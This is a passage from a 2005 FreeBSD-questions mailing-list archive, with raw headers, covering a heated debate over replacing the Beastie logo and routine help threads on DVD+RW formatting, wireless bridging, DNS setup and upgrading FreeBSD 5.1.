text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:32:36 -0000 Anthony Atkielski wrote: > I can almost guarantee that if everyone involved took a magic drug that > eliminated testosterone, a new logo would be agreed upon in a day or so. > LOL ...to which I would add two words: bike shed! I have a great fondness for Beastie; that is clearly not uncommon and obviously extends to the level of fierce loyalty on the part of some in the community. But really, if Kellog's cereal can have a stylized red "K" and Tony the Tiger each serving their own distinct branding purposes WRT Frosted Flakes, I do not see what the big deal is about FreeBSD having a simple (scalable, printable) logo and a complex mascot as well. It seems largely a matter of common sense, and in any case a much smaller matter than wringing any remaining inconsistencies out of 5.x. FWIW, when staff here deployed Mailman on our FreeBSD mail server, the configuration proudly displayed the Python and FreeBSD "logos" (let's not repeat the definition discussion) at the bottom of the page. While internally we didn't have any problems with Beastie, we then had a long discussion about the feelings of *our* customers who might see him and be [uncomfortable|confused|alarmed|fsckwits] about it. We ended up hacking Beastie out of the page. All things considered, I'd like to have that 90 minutes of my life back. ;-) Point is, it's not just about the community of FreeBSD users, it's about our customers too. I'd hate to see management support for BSD wither here, not because Beastie is inherently bad, but just because the issues within Beastie's "PR cloud" can easily extend beyond the walls of the IT wing and create drag in communications planning. Drag is drag and drag is undesirable; discussing the difference between demon and daemon can be a drag. As a result, I cannot effectively evangelize my organization's use of FreeBSD, or even relate that use to the use of competing systems, except in text. I'd actually forgotten about that problem for a long time. Now that I've put a name to it again, I say: Love Beastie. Honor Beastie. Keep Beastie around on various web pages, book covers, shirts, etc. But getting a new logo for general purpose brand identification is definitely not a bad idea. -- Greg Barniskis, Computer Systems Integrator South Central Library System (SCLS) Library Interchange Network (LINK) , (608) 266-6348 From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:36:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9BAE016A4CE for ; Thu, 10 Feb 2005 21:36:26 +0000 (GMT) Received: from smtp815.mail.sc5.yahoo.com (smtp815.mail.sc5.yahoo.com [66.163.170.1]) by mx1.FreeBSD.org (Postfix) with SMTP id 68C3643D41 for ; Thu, 10 Feb 2005 21:36:26 +0000 (GMT) (envelope-from tom@meckeai.com) Received: from unknown (HELO woodstock) (tjmecke@swbell.net@64.216.19.113 with login) by smtp815.mail.sc5.yahoo.com with SMTP; 10 Feb 2005 21:36:26 -0000 Message-ID: <005b01c50fb8$964ff9f0$6601a8c0@woodstock> From: "Tom Mecke" To: Date: Thu, 10 Feb 2005 15:36:31 -0600 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: changing logo X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Tom Mecke List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:36:26 -0000 I think the new logo contest is ridiculous! Do not change the logo for = a tiny minority WHO MAY interpret the current logo as "evil". I like = the logo very much as it is and I associate it automatically with = FreeBSD. The only people who really think it is evil may be Microsoft = and their spiritual leader Billy G.. Many people may think twice about donating money to the project if you = are worrying about trivial complaints about a cute little "daemon" logo = instead of directing energy all to the project! DO NOT CHANGE THE LOGO! -- Tom Mecke From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:45:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A8C2316A4CE for ; Thu, 10 Feb 2005 21:45:15 +0000 (GMT) Received: from pimout4-ext.prodigy.net (pimout4-ext.prodigy.net [207.115.63.98]) by mx1.FreeBSD.org (Postfix) with ESMTP id 41B0843D39 for ; Thu, 10 Feb 2005 21:45:15 +0000 (GMT) (envelope-from stormspotter@6Texans.net) Received: from jacob.6texans.net (adsl-64-109-19-133.dsl.rcfril.ameritech.net [64.109.19.133])j1ALjEHb067540 for ; Thu, 10 Feb 2005 16:45:14 -0500 Date: Thu, 10 Feb 2005 15:45:13 -0600 From: Jacob S To: freebsd-questions@freebsd.org Message-ID: <20050210154513.4d649527@jacob.6texans.net> In-Reply-To: <535601999.20050210213743@wanadoo.fr> References: <200502091349.00708.algould@datawok.com> <1709665858.20050210101217@wanadoo.fr> <20050210114338.B30327@one.thequestion.net> <299713472.20050210210055@wanadoo.fr> <1108067044.658.12.camel@hatter.wonderland.dn> <535601999.20050210213743@wanadoo.fr> X-Mailer: Sylpheed-Claws 0.9.13 (GTK+ 1.2.10; i386-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:45:15 -0000 On Thu, 10 Feb 2005 21:37:43 +0100 Anthony Atkielski wrote: > Julio Capote writes: > > > Untrue, I know a NUMBER of emerging graphic artists, who would kill > > for this kind of exposure, and are much better than any > > commercialized firm I've seen. > > If they are so good, why would they kill for this kind of exposure? > > The world of commercial art is no exception to the rule that you get > what you pay for. Good graphic art is worth paying for; for a price > of zero dollars, you'll get zero quality. Exceptions are very, very > rare, and cannot be depended on. And an amateurish logo would be > quite a liability. You make it sound as if the FreeBSD project paid a million dollars for the current drawing of "Beastie". After all, we get what we pay for, and the current mascot/logo is "perfect", right? Jacob From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:47:13 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6124F16A4CE for ; Thu, 10 Feb 2005 21:47:13 +0000 (GMT) Received: from ptb-relay01.plus.net (ptb-relay01.plus.net [212.159.14.212]) by mx1.FreeBSD.org (Postfix) with ESMTP id EAA6F43D3F for ; Thu, 10 Feb 2005 21:47:12 +0000 (GMT) (envelope-from ian@codepad.net) Received: from [80.229.159.44] (helo=hercules.codepad.net) by ptb-relay01.plus.net with esmtp (Exim) id 1CzM9X-000FxI-7L for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 21:47:11 +0000 From: Xian To: freebsd-questions@freebsd.org Date: Thu, 10 Feb 2005 21:47:10 +0000 User-Agent: KMail/1.7 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200502102147.10722.ian@codepad.net> Subject: formatting a DVD+RW X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:47:13 -0000 I am trying to format a DVD+RW as I gather this kind of DVD needs. I tried= =20 growisofs and it told me: * DVD=B1RW/-RAM format utility by , version 4.10. :-( unable to open("/dev/acd0"): Inappropriate ioctl for device I then tried burncd format dvd+rw but that that just sat there for a few hours and did nothing. It didn't do = any=20 progress reporting like the man page said. I'm stumped now. Does anyone have any ideas? Thanks in advance. =2D-=20 /Xian "C lets you shoot yourself in the foot. C++ lets you reuse the bullet" Unknown Author From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:47:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6CA4816A4D1 for ; Thu, 10 Feb 2005 21:47:28 +0000 (GMT) Received: from ns1.tiadon.com (SMTP.tiadon.com [69.27.132.161]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1C63343D5C for ; Thu, 10 Feb 2005 21:47:28 +0000 (GMT) (envelope-from kdk@daleco.biz) Received: from [69.27.131.0] ([69.27.131.0]) by ns1.tiadon.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 10 Feb 2005 15:47:20 -0600 Message-ID: <420BD669.2050909@daleco.biz> Date: Thu, 10 Feb 2005 15:47:21 -0600 From: Kevin Kinsey User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: noc@velcom.com References: <000501c50fb4$443c9c80$f03c43d1@windowscecd4f3> In-Reply-To: <000501c50fb4$443c9c80$f03c43d1@windowscecd4f3> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 10 Feb 2005 21:47:21.0294 (UTC) FILETIME=[195016E0:01C50FBA] cc: freebsd-questions@freebsd.org Subject: Re: How to Reset a Forgotten Root Password X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:47:28 -0000 noc@velcom.com wrote: >thx > You're welcome. Oh, whoops! You *did* have a question! Check the F.A.Q. I believe this one is in FAQ Chapter 10, subpoint 12. Good luck! Kevin Kinsey From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:52:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 10A4B16A4CF for ; Thu, 10 Feb 2005 21:52:12 +0000 (GMT) Received: from abigail.blackend.org (blackend.org [212.11.35.229]) by mx1.FreeBSD.org (Postfix) with ESMTP id EA7C443D1F for ; Thu, 10 Feb 2005 21:52:10 +0000 (GMT) (envelope-from marc@blackend.org) Received: from nosferatu.blackend.org (nosferatu.blackend.org [192.168.10.205])j1ALq5ft058668; Thu, 10 Feb 2005 22:52:05 +0100 (CET) (envelope-from marc@abigail.blackend.org) Received: from nosferatu.blackend.org (localhost.blackend.org [127.0.0.1]) j1ALq4h2033577; Thu, 10 Feb 2005 22:52:05 +0100 (CET) (envelope-from marc@nosferatu.blackend.org) Received: (from marc@localhost) by nosferatu.blackend.org (8.13.1/8.13.1/Submit) id j1ALpxOL033576; Thu, 10 Feb 2005 22:51:59 +0100 (CET) (envelope-from marc) Date: Thu, 10 Feb 2005 22:51:59 +0100 From: Marc Fonvieille To: Xian Message-ID: <20050210215158.GC31772@nosferatu.blackend.org> References: <200502102147.10722.ian@codepad.net> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <200502102147.10722.ian@codepad.net> User-Agent: Mutt/1.4.2.1i X-Useless-Header: blackend.org X-Operating-System: FreeBSD 5.3-STABLE cc: freebsd-questions@freebsd.org Subject: Re: formatting a DVD+RW X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:52:12 -0000 On Thu, Feb 10, 2005 at 09:47:10PM +0000, Xian wrote: > I am trying to format a DVD+RW as I gather this kind of DVD needs. I tried > growisofs and it told me: > > * DVD±RW/-RAM format utility by , version 4.10. > :-( unable to open("/dev/acd0"): Inappropriate ioctl for device > [...] Under 5.X or 4.X ? Marc From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 21:52:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C819416A4CE; Thu, 10 Feb 2005 21:52:37 +0000 (GMT) Received: from sb.santaba.com (sb.santaba.com [207.154.84.26]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6A2F743D46; Thu, 10 Feb 2005 21:52:37 +0000 (GMT) (envelope-from jbehl@fastclick.com) Received: from [192.168.3.100] (unknown [205.180.85.193]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sb.santaba.com (Postfix) with ESMTP id 3471C28433; Thu, 10 Feb 2005 13:52:37 -0800 (PST) Message-ID: <420BD7DD.5000304@fastclick.com> Date: Thu, 10 Feb 2005 13:53:33 -0800 From: Jeff Behl User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Joe Kelsey References: <20050209162202.I31921@knight.ixsystems.net> <20050210005856.GC818@thened.net> <20050209164359.J31921@knight.ixsystems.net> <1108005975.683.47.camel@zircon.zircon.seattle.wa.us> In-Reply-To: <1108005975.683.47.camel@zircon.zircon.seattle.wa.us> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-advocacy@freebsd.org cc: Matt Olander cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD 5.3 MySQL Performance X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 21:52:37 -0000 >Any so-called "benchmark" comparing Linux to anything else (especially >windoze) has been polluted by the tradition in the linux/windoze world >of running their disks in the completely unsafe "asynchronous" mode so >popular with the ATA disk drive manufacturers. This method means that >you never actually know whether or not the drive ever writes your data >on the disk. It could just sit in the cache waiting for a power failure >so that you lose everything. This "async" mode means that the >benchmarks "look" fast but are completely unsafe. > > > so by this logic, if i re-mount my partitions async i can get the same performance? this isn't meant as a rub, i would seriously consider doing this if it were the case. i'd like to know any and all ways i can make mysql faster. we have fleats of mysql servers with redundant data. the loss of a server due to corruption is not problematic From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:09:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 784A916A4CE for ; Thu, 10 Feb 2005 22:09:39 +0000 (GMT) Received: from ritamari.vonostingroup.com (ip193-230.digitalrealm.net [216.144.193.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id A156343D3F for ; Thu, 10 Feb 2005 22:09:38 +0000 (GMT) (envelope-from laszlof@tvog.net) Received: from adsl-68-72-248-38.dsl.sfldmi.ameritech.net ([68.72.248.38] helo=tvog.net) by ritamari.vonostingroup.com with esmtpa (Exim 4.44 (FreeBSD)) id 1CzMUo-000ODy-J1; Thu, 10 Feb 2005 17:09:10 -0500 Message-ID: <420BDBA1.4050601@tvog.net> Date: Thu, 10 Feb 2005 17:09:37 -0500 From: Frank Laszlo User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org, atkielski.anthony@wanadoo.fr References: <200502092223.01650.algould@datawok.com> <1905317067.20050210103050@wanadoo.fr> <894943359.20050210150947@wanadoo.fr> <420B6D42.9090203@tvog.net> <771446868.20050210210639@wanadoo.fr> In-Reply-To: <771446868.20050210210639@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ritamari.vonostingroup.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - tvog.net X-Source: X-Source-Args: X-Source-Dir: Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:09:39 -0000 Anthony Atkielski wrote: >Frank Laszlo writes: > > > >>you are all looking at a web graphic. Allready rendered as process >>colors. Its impossible to say how many "printing plates" its on. >> >> > >Process is always four plates, except for the rare hexachrome offset, which >is six plates. > >Spot colors require one plate per color. Two-color jobs are pretty >economical, which is why you see so much two-color work. > > > Yes, Process colors being 4 plates, but rendered properly, it could be less. >>But that graphic could easily be a spot color print job, Which I think >>by today's standards is acceptable. >> >> > >I don't know what you mean by this. > > The current "logo" as it is shown on freebsd.org, COULD be printed on 2 plates, as a 2 color job. those colors being black and red. (of course red isnt true red, it would be some pantone color) But being a web graphic that it is, you cant tell that by looking at it. > > >>And I believe you stated a logo should be free of "screens" You only >>need 1 plate to do a screen, so this is also irrelevent. >> >> > >Screens cause a problem when you reduce a logo to small sizes, as there >are limits on the line frequency you can use for screens, and if the >screen is too coarse for a tiny graphic, it will look really bad. So >it's best to avoid screens altogether. > >Worse yet is having multiple screens on several plates, in which case >you have to worry about registration issues, and the screens usually >have to be much more coarse, which again causes problems for small >sizes. > > > This isnt an issue with todays modern digital 4 color presses such as the iGen3. It has no problem with registration if ran by a qualified operator. Now if you are a 80's or 90's printer using an old heidelburg 2 color press, sure.. registration is very difficult when dealing with small print and screens. Furthermore, anyone with experience in the modern printing world knows that getting high quality (and affordable) printed artwork on a small piece is very simple when using the right equipment. I've done several of these type of jobs on the iGen3 we have here at my office. Anyways, this is WAY off from the original post, So I end it with that. Kind Regards, Frank Laszlo From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:12:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7E98E16A4CE for ; Thu, 10 Feb 2005 22:12:36 +0000 (GMT) Received: from csa.cs.okstate.edu (a.cs.okstate.edu [139.78.113.1]) by mx1.FreeBSD.org (Postfix) with ESMTP id 44DD843D48 for ; Thu, 10 Feb 2005 22:12:36 +0000 (GMT) (envelope-from lreid@a.cs.okstate.edu) Received: by csa.cs.okstate.edu (Postfix, from userid 601) id C45ACA068E; Thu, 10 Feb 2005 16:12:35 -0600 (CST) To: freebsd-questions@freebsd.org Received: from 164.58.79.196 (auth. user lreid@a.cs.okstate.edu) by cs.okstate.edu with HTTP; Thu, 10 Feb 2005 16:12:35 -0600 X-IlohaMail-Blah: lreid@a.cs.okstate.edu X-IlohaMail-Method: mail() [mem] X-IlohaMail-Dummy: moo X-Mailer: IlohaMail/0.8.12 (On: cs.okstate.edu) From: "Reid Linnemann" Bounce-To: "Reid Linnemann" Errors-To: "Reid Linnemann" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Message-Id: <20050210221235.C45ACA068E@csa.cs.okstate.edu> Date: Thu, 10 Feb 2005 16:12:35 -0600 (CST) Subject: wireless-to-wired bridging X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:12:36 -0000 I have a question that is more of a networking question than a BSD question, but I am hoping someone out there has faced this same dilemma before and has some advice: I have a FreeBSD machine running -current that servers as a router for my home LAN, using nat. I recently tossed in a DLink DWL-G520 wireless card (ath0), and bridged that interface to the internal LAN interface on the machine (rl1). After a bit of configurating, I had the ath interface in hostap mode, and everything was working great - except the wired clients cannot route to eachother. I am suspicious that, since the wired network is in AP mode, if a wireless client wants to send a packet to another wireless client, it must be sent to the AP, which should theoretically redirect the packet to the appropriate host on the wireless net. In the wired network, a switch handles this automagically on the datalink layer without those messages hitting the rl1 interface of the BSD router. I've looked at the bridge code, and it seems that unless a packet is multicast or broadcast it will be copied to the other bridge interfaces but not returned to the original caller. Since the packets being sent between wireless clients are not broadcast, I think they are getting dumped into the black hole of the wired LAN, and not being processed and pumped back out through the ath interface. Is this a correct assumption? Are there ways I can overcome this problem? Thanks, Reid From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:13:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DEB7616A4CE for ; Thu, 10 Feb 2005 22:13:22 +0000 (GMT) Received: from phenix.rootshell.be (phenix.rootshell.be [217.22.55.50]) by mx1.FreeBSD.org (Postfix) with ESMTP id A5B7643D41 for ; Thu, 10 Feb 2005 22:13:22 +0000 (GMT) (envelope-from kilim@phenix.rootshell.be) Received: by phenix.rootshell.be (Postfix, from userid 58045) id C9801179AD; Thu, 10 Feb 2005 23:13:21 +0100 (CET) Date: Thu, 10 Feb 2005 23:13:21 +0100 From: kilim To: freebsd-questions@freebsd.org Message-ID: <20050210221321.GA6387@phenix.rootshell.be> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i Subject: DNS virgin X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:13:23 -0000 Hello, being a DNS virgin I deceided to post this after reading through Dns & Bind book and various on/off-line documentation. I have loads of questions even though I've read through this stuff. And I'm hoping that you can help me clarify them. Thanks in advance ! Now that I've registered a certain domain through godaddy.com I wish to set up my own DNS server. In the Godaddy's web interface there is a way to set two new DNS server. Can I just put one of the server to be my DNS primary leaving out the secondary ? Or can I leave their server to be my secondary ? I'm asking this because I'm on DSL with a static IP, but don't want to have two server just for DNS. By going the this way, with only one DNS server, this wouldn't be proper and safe right ? Thank you From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:17:14 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F36DC16A4CE for ; Thu, 10 Feb 2005 22:17:13 +0000 (GMT) Received: from smtp4.server.rpi.edu (smtp4.server.rpi.edu [128.113.2.4]) by mx1.FreeBSD.org (Postfix) with ESMTP id 92C8E43D2D for ; Thu, 10 Feb 2005 22:17:13 +0000 (GMT) (envelope-from gad@FreeBSD.org) Received: from [128.113.24.47] (gilead.netel.rpi.edu [128.113.24.47]) by smtp4.server.rpi.edu (8.13.0/8.13.0) with ESMTP id j1AMHBqY030787; Thu, 10 Feb 2005 17:17:12 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <005b01c50fb8$964ff9f0$6601a8c0@woodstock> References: <005b01c50fb8$964ff9f0$6601a8c0@woodstock> Date: Thu, 10 Feb 2005 17:17:10 -0500 To: Tom Mecke , From: Garance A Drosehn Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-CanItPRO-Stream: default X-RPI-SA-Score: undef - spam-scanning disabled X-Scanned-By: CanIt (www . canit . ca) Subject: Re: changing logo X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:17:14 -0000 At 3:36 PM -0600 2/10/05, Tom Mecke wrote: > >Many people may think twice about donating money to the project >if you are worrying about trivial complaints about a cute little >"daemon" logo instead of directing energy all to the project! Oooo. I work on FreeBSD for free. I get zero money from it. All I am saying is I would like to see what other logos someone might come up with -- if we gave them a chance. Oh, and how much $$$ have you donated to FreeBSD? Me? Not only have I worked for free, but I have donated more than $1,000 of my own money to FreeBSD over the years. And actually, if you count work that I paid someone else to do for FreeBSD (but which never quite worked out), I have spent over $10,000 in just the past two years for FreeBSD. So, imagine how little I care about whatever threat you fantasize you are making. I am paid to work on Linux (and MacOS 10, to some extent). I would be just as happy and much much better off financially if I left FreeBSD alone, and concentrated on my full-time job. I am paid to work on Linux. I am not paid to work on FreeBSD. That summarizes just how well the Beastie icon, by itself, draws vast sums of money to the FreeBSD project. If you are really so utterly deranged that you REFUSE to donate money to a HIGH QUALITY OPEN-SOURCE OPERATING SYSTEM, *unless* it has a cute-daemon for it's one-and-only logo, then please go away. It is just as stupid and close-minded to DEMAND that we never consider any other logos. If you're that attached to a cartoon icon of our Mascot, then mail your money to someone who draws cute daemon figures, and don't waste your time claiming that you care about the actual operating system. Also note that the Beastie isn't actually going away. He's still going to be considered the official mascot of the project. My guess is that whatever the logo is, there won't be any cute dolls made of it, so Beastie will always have a place in the project. It would just be nice to have some other official logo, one which could be more easily used in some settings. -- Garance Alistair Drosehn = gad@gilead.netel.rpi.edu Senior Systems Programmer or gad@FreeBSD.org Rensselaer Polytechnic Institute; Troy, NY; USA From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:17:14 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2C3E016A4CE for ; Thu, 10 Feb 2005 22:17:14 +0000 (GMT) Received: from mail-core.space2u.com (mail-core.space2u.com [62.20.1.181]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5A05743D1F for ; Thu, 10 Feb 2005 22:17:13 +0000 (GMT) (envelope-from jd@dagerot.com) Received: from localhost (www-core.space2u.com [62.20.1.180]) by mail-core.space2u.com (8.13.3/8.13.2) with ESMTP id j1AMH9HT004504; Thu, 10 Feb 2005 23:17:09 +0100 Date: Thu, 10 Feb 2005 23:17:09 +0100 Message-Id: <200502102217.j1AMH9HT004504@mail-core.space2u.com> MIME-Version: 1.0 From: "Joachim Dagerot" To: Kent Stewart Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit cc: freebsd-questions@freebsd.org Subject: Re: Messed up my ports - "Can't find the `5.1-RELEASE' distribution on this FTP server." X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:17:14 -0000 On 2005-02-10 Kent Stewart wrote: On Thursday 10 February 2005 07:14 am, Joachim Dagerot wrote: >> I have probably done something sometime on my 2 year+ server >> installation that wrecked my port installation. >> >> Whenever I try to install a port I get the "Can't find the >> `5.1-RELEASE' distribution on this FTP server." the same goes with >> "sysinstall -> configure -> Distributions" I have tried multiple >> servers including the main. With the same result. >> >> I really don't know what to do. Any help is appreciated! >> > >Ports don't go by releases like you are trying to do. If you look at >ftp://ftp.freebsd.org/pub/FreeBSD/ports/ >You will see that nothing before 5.2 is there now. The current set of >packages, which is what you are loading, would be located in >packages-5-stable. > >Are you really still using 5.1? That was not considered a production >release. The current version is 5.3 and was the first to be given the >name of 5-stable. Thanks for your answer. I managed to install the ports distribution by the help of another mail. But yes I think I am using the 5.1 release. Don't ask me how or why. I have been running cvsup for all the ports now and then for a couple of years and everytime there's a lot of changes coming in. I am just a unix guy that likes my shell. I don't know and don't have too much interest in following the development paths and all the various tags. When I installed my 5.1 everyone said I should go for 4x but I didn't and it has never failed me. Now when you're pointing out that I run such an old version I googled a bit to find how to upgrade but to be honest, I still really don't get it, but I'll post a new mail about that. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:19:53 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5D2EC16A4CE for ; Thu, 10 Feb 2005 22:19:53 +0000 (GMT) Received: from mail-core.space2u.com (mail-core.space2u.com [62.20.1.181]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9D1DC43D46 for ; Thu, 10 Feb 2005 22:19:52 +0000 (GMT) (envelope-from jd@dagerot.com) Received: from localhost (www-core.space2u.com [62.20.1.180]) by mail-core.space2u.com (8.13.3/8.13.2) with ESMTP id j1AMJnOV004705 for ; Thu, 10 Feb 2005 23:19:49 +0100 Date: Thu, 10 Feb 2005 23:19:49 +0100 Message-Id: <200502102219.j1AMJnOV004705@mail-core.space2u.com> MIME-Version: 1.0 From: "Joachim Dagerot" To: freebsd-questions@freebsd.org Cc: Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Subject: How do I upgrade a 5.1 server? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:19:53 -0000 I am running a 5.1 server (I think). It was atleast 5.1 when I installed it but after that I have cvsuped plenty of times and also re-built the kernal a few times. Is there a foolproof step by step guide on what I need to do to get my system into a the right version now and for ever? Something like R5_STABLE or so? From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:27:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C9AEC16A4CE for ; Thu, 10 Feb 2005 22:27:12 +0000 (GMT) Received: from out010.verizon.net (out010pub.verizon.net [206.46.170.133]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5826543D39 for ; Thu, 10 Feb 2005 22:27:12 +0000 (GMT) (envelope-from 